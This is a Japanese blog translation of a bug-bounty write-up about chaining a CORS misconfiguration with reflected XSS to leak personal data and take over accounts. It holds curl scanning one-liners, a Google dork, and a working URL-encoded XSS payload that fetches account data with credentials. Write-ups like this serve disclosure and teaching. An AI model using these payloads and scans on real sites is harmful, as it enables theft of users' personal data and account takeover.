Shikata Ga Nai

Private? There is no such things.

Chaining CORS by Reflected xss to Account takeoverを訳してみた

Hello there, ('ω')ノ

 

反映されたxssによるCORSのアカウントテイクオーバーへの連鎖を。

 

脆弱性:

 CORSの設定ミス

 反映されたXSS

 アカウントの乗っ取り

 

記事:

 https://notifybugme.medium.com/chaining-cors-by-reflected-xss-to-account-takeover-my-first-blog-5b4f12b43c70

 

ツール:

 Burp Suite

 Google Dork

 

今回は、CORSの設定ミスをReflected xssとチェーンして個人情報を漏らして。

最終的にアカウントを引き継ぐことで、CORSの設定ミスを悪用する方法について。

下記が自分のワークフローでCORSバグを探す方法で。


初めに:

Burp Suiteによってホストをスパイダーして。

スパイダーの後に、すべてのURLをコピーしてテキストファイルに保存して。

 

cat corstexturl.txt | CorsMe

 

または。

 

cat corstexturl.txt | soru -u | anew | xargs -n 1 -I{} curl -sk -H “Origin: test.com” | grep “Access-control-allow-origin: test.com”

 

cat corstexturl.txt | soru -u | anew |while read host do ; do curl -s — path-as-is — insecure -H “Origin: test.com” “$host” | grep -qs “Access-control-allow-origin: test.com” && echo “$host \033[0;31m” cors Vulnerable;done

 

ケース#1:

脆弱なエンドポイント:

HTTPリクエストのOriginヘッダを操作して。

サーバの応答を調べてドメインのホワイトリストチェックを。

行っているかどうかを確認したところ。

アプリケーションがサブドメインのみを盲目的に。

ホワイトリストに登録していることに気付いて。

Webアプリケーションが、www.attacker.comでホストされていると仮定すると。

このCORSの設定ミスは、次のようになります。

 

HTTP Request:

    GET /api/return HTTP/1.1
    Host: www.attacker.com
    Origin: evil.attacker.com
    Connection: close

 

HTTP Response:

    HTTP/1.1 200 OK
    Access-control-allow-credentials: true
    Access-control-allow-origin: evil.attacker.com

 

このAPIエンドポイントは。

氏名、メールアドレス、パスワード、パスポート番号、銀行の詳細など。

ユーザの個人情報を返していて。

この設定ミスを悪用して、ユーザーの個人情報の漏洩などの攻撃を実行するには。

放棄されたサブドメインを要求するか(サブドメインの乗っ取り)。

既存のサブドメインの1つでXSSを見つける必要があって。

 

ケース#2:

影響を大きくするためにバグを連鎖:

そこで、既存のサブドメインの1つでXSSを見つけるという。

2番目のオプションを選択することにして。

いくつかのGoogle Dorkingを行うと。

サブドメインと思われるtest.attacker.comの1つで、Reflected xssを見つけて。

下記がこれがxssを見つけるために使用したGoogle Dorkで。

 site:*.attacker.com -www ext:jsp

 

次に、URLを開いてソースページで非表示の文字列を見つけて。

反映されていないかどうかを確認することに。

そこのサブドメインに反映されたxssが見つかると。

それを悪用するのが簡単になって。

 https://test.attacker.com/patter.jsp?acct="><script>alert(document.domain)</script>

 

概念実証を作成して、レポートを送信することに。


POC時間:

このCORSの設定ミスを悪用するには。

XSSペイロードアラート(document.domain)を。

下記のコードに置き換える必要があって。

 

function cors() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {    
    if (this.status == 200) {    
    alert(this.responseText);     
    document.getElementById("demo").innerHTML = this.responseText;    
    }  
};  
xhttp.open("GET", "https://www.attacker.com/api/account", true);  
xhttp.withCredentials = true;  
xhttp.send();
}
cors();

 

⇩下記のように。

 

https://test.attacker.com/patter.jsp?facct="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.attacker.com/api/account",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>

 

下記が、漏洩した個人情報で。

 

f:id:ThisIsOne:20210929093218p:plain


取り除く:

HackerOneでこのタイプのCORSの設定ミスを説明する多くのレポートを。

見つけることができるもののPoCがないため、完全に活用できたのはごくわずかで。

それが自分の経験を共有したかった理由の1つで。

 

Best regards, (^^ゞ